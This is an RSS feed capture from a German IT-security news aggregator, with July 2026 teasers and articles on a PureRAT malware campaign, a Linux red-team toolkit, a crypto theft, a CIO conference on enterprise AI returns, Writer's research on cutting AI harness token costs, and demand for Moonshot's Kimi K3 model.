<link>https://tsecurity.de/de/3682880/it-security-nachrichten/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682880/it-security-nachrichten/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/</guid>
<pubDate>Tue, 21 Jul 2026 09:07:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fileless stealer and PureRAT operators are abusing a WebDAV‑backed “malware delivery lab” to raid browser passwords, Telegram sessions, and cryptocurrency wallets in a campaign that blends fileless info‑stealing with a modular .NET RAT. The incident began with an MDR alert…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/">Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[IT Security News Hourly Summary 2026-07-21 09h : 6 posts]]></title>
<description><![CDATA[6 posts were published in the last hour 7:2 : Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets 7:2 : OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with mass reboots – and an…
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The post IT Security News Hourly Summary 202...]]></description>
<link>https://tsecurity.de/de/3682879/it-security-nachrichten/it-security-news-hourly-summary-2026-07-21-09h-6-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682879/it-security-nachrichten/it-security-news-hourly-summary-2026-07-21-09h-6-posts/</guid>
<pubDate>Tue, 21 Jul 2026 09:07:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>6 posts were published in the last hour 7:2 : Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets 7:2 : OVH reveals semi-secret plan to fix critical Januscape hypervisor bug with mass reboots – and an…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-21-09h-6-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-21-09h-6-posts/">IT Security News Hourly Summary 2026-07-21 09h : 6 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets]]></title>
<description><![CDATA[Fileless stealer and PureRAT operators are abusing a WebDAV‑backed “malware delivery lab” to raid browser passwords, Telegram sessions, and cryptocurrency wallets in a campaign that blends fileless info‑stealing with a modular .NET RAT. The incident began with an MDR alert tied to a user executin...]]></description>
<link>https://tsecurity.de/de/3682859/it-security-nachrichten/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682859/it-security-nachrichten/fileless-stealer-and-purerat-raid-browser-passwords-telegram-sessions-and-crypto-wallets/</guid>
<pubDate>Tue, 21 Jul 2026 08:53:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fileless stealer and PureRAT operators are abusing a WebDAV‑backed “malware delivery lab” to raid browser passwords, Telegram sessions, and cryptocurrency wallets in a campaign that blends fileless info‑stealing with a modular .NET RAT. The incident began with an MDR alert tied to a user executing content retrieved from a WebDAV server via rundll32.exe, with telemetry […]</p>
<p>The post <a href="https://gbhackers.com/fileless-stealer-and-purerat-raid-browser/">Fileless Stealer and PureRAT Raid Browser Passwords, Telegram Sessions, and Crypto Wallets</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Furtex – Linux Toolkit for Post-Exploitation and Evasion for Security Researchers and Red Teamers]]></title>
<description><![CDATA[A new open-source project, Furtex, has emerged as a Linux-focused post-exploitation and evasion research toolkit for authorized security researchers and red-team operators. The project combines raw io_uring system calls, BPF and eBPF tooling, and EDR-evasion research utilities without relying on…...]]></description>
<link>https://tsecurity.de/de/3682651/it-security-nachrichten/furtex-linux-toolkit-for-post-exploitation-and-evasion-for-security-researchers-and-red-teamers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682651/it-security-nachrichten/furtex-linux-toolkit-for-post-exploitation-and-evasion-for-security-researchers-and-red-teamers/</guid>
<pubDate>Tue, 21 Jul 2026 06:54:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new open-source project, Furtex, has emerged as a Linux-focused post-exploitation and evasion research toolkit for authorized security researchers and red-team operators. The project combines raw io_uring system calls, BPF and eBPF tooling, and EDR-evasion research utilities without relying on…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/furtex-linux-toolkit-for-post-exploitation-and-evasion-for-security-researchers-and-red-teamers/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/furtex-linux-toolkit-for-post-exploitation-and-evasion-for-security-researchers-and-red-teamers/">Furtex – Linux Toolkit for Post-Exploitation and Evasion for Security Researchers and Red Teamers</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<description><![CDATA[A new open-source project, Furtex, has emerged as a Linux-focused post-exploitation and evasion research toolkit for authorized security researchers and red-team operators. The project combines raw io_uring system calls, BPF and eBPF tooling, and EDR-evasion research utilities without relying on ...]]></description>
<link>https://tsecurity.de/de/3682576/it-security-nachrichten/furtex-a-post-exploitation-and-evasion-toolkit-on-linux-for-security-researchers-red-teamers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682576/it-security-nachrichten/furtex-a-post-exploitation-and-evasion-toolkit-on-linux-for-security-researchers-red-teamers/</guid>
<pubDate>Tue, 21 Jul 2026 04:38:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new open-source project, Furtex, has emerged as a Linux-focused post-exploitation and evasion research toolkit for authorized security researchers and red-team operators. The project combines raw io_uring system calls, BPF and eBPF tooling, and EDR-evasion research utilities without relying on liburing or larger frameworks. Furtex is a collection of single-purpose tools designed to demonstrate how […]</p>
<p>The post <a href="https://cybersecuritynews.com/furtex-linux-toolkit/">Furtex – A Post-Exploitation and Evasion Toolkit on Linux for Security Researchers &amp; Red Teamers</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[X3DH-lite + Double Ratchet + sender-keys E2EE messenger protocol (Kotlin) — internal audit history included, no independent review yet]]></title>
<description><![CDATA[submitted by    /u/softdeadlock   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3682534/reverse-engineering/x3dh-lite-double-ratchet-sender-keys-e2ee-messenger-protocol-kotlin-internal-audit-history-included-no-independent-review-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682534/reverse-engineering/x3dh-lite-double-ratchet-sender-keys-e2ee-messenger-protocol-kotlin-internal-audit-history-included-no-independent-review-yet/</guid>
<pubDate>Tue, 21 Jul 2026 04:09:10 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/softdeadlock"> /u/softdeadlock </a> <br> <span><a href="https://github.com/softdeadlock/voron-crypto">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1v1p6c2/x3dhlite_double_ratchet_senderkeys_e2ee_messenger/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Linux's Qualcomm Crypto Accelerator Driver "Harmful" And Being Disabled: Slower Than CPU, History Of Bugs]]></title>
<description><![CDATA[submitted by    /u/anh0516   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3682519/linux-tipps/linuxs-qualcomm-crypto-accelerator-driver-harmful-and-being-disabled-slower-than-cpu-history-of-bugs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682519/linux-tipps/linuxs-qualcomm-crypto-accelerator-driver-harmful-and-being-disabled-slower-than-cpu-history-of-bugs/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:23 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
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<title><![CDATA[Hackers steal $23.7 million in crypto from Ostium in off-chain attack]]></title>
<description><![CDATA[The Ostium trading platform announced that an attacker stole $23.75 million from its liquidity provider vault last week, after compromising off-chain infrastructure used to feed prices into the protocol. [...]]]></description>
<link>https://tsecurity.de/de/3682314/it-security-nachrichten/hackers-steal-237-million-in-crypto-from-ostium-in-off-chain-attack/</link>
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<pubDate>Tue, 21 Jul 2026 00:38:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Ostium trading platform announced that an attacker stole $23.75 million from its liquidity provider vault last week, after compromising off-chain infrastructure used to feed prices into the protocol. [...]]]></content:encoded>
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<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
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<title><![CDATA[China's New AI Model Halts New Subscriptions As Demand Swamps Capacity]]></title>
<description><![CDATA[Moonshot AI has temporarily paused new subscriptions for its Kimi K3 model after demand surged beyond the company's current capacity within days of the launch. The open-source Chinese AI model, described as one of the largest of its kind at 2.8 trillion parameters, has rattled U.S. rivals by beat...]]></description>
<link>https://tsecurity.de/de/3682219/it-security-nachrichten/chinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity/</link>
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<pubDate>Mon, 20 Jul 2026 23:43:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Moonshot AI has temporarily paused new subscriptions for its Kimi K3 model after demand surged beyond the company's current capacity within days of the launch. The open-source Chinese AI model, described as one of the largest of its kind at 2.8 trillion parameters, has rattled U.S. rivals by beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests. The Associated Press reports: "Kimi K3 has received far more love than we expected," Moonshot AI, which is Beijing-based, wrote in a X post late on Sunday. "Over the past 48 hours, demand has pushed close to the limits of our current capacity." Moonshot said that it's prioritizing existing subscribers and would be temporarily pausing new ones. "We're adding capacity as fast as we can and will reopen new subscription spots in batches," it added. The AI startup also posted a similar message on Chinese social media.
 
"New model releases generally trigger massive interest, which can strain existing compute infrastructure," said Lian Jye Su, a chief analyst at the technology research and advisory group Omdia. "This does show Moonshot AI does not have sufficient compute chips to serve the current surge in demand." Su said that the key reason was more likely due to Moonshot not fully anticipating the surge in K3's popularity. K3 is "very demanding" in terms of compute requirements, he said, making compute allocation challenging and expensive.<p></p><div class="share_submission">
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</div><p><a href="https://hardware.slashdot.org/story/26/07/20/205250/chinas-new-ai-model-halts-new-subscriptions-as-demand-swamps-capacity?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
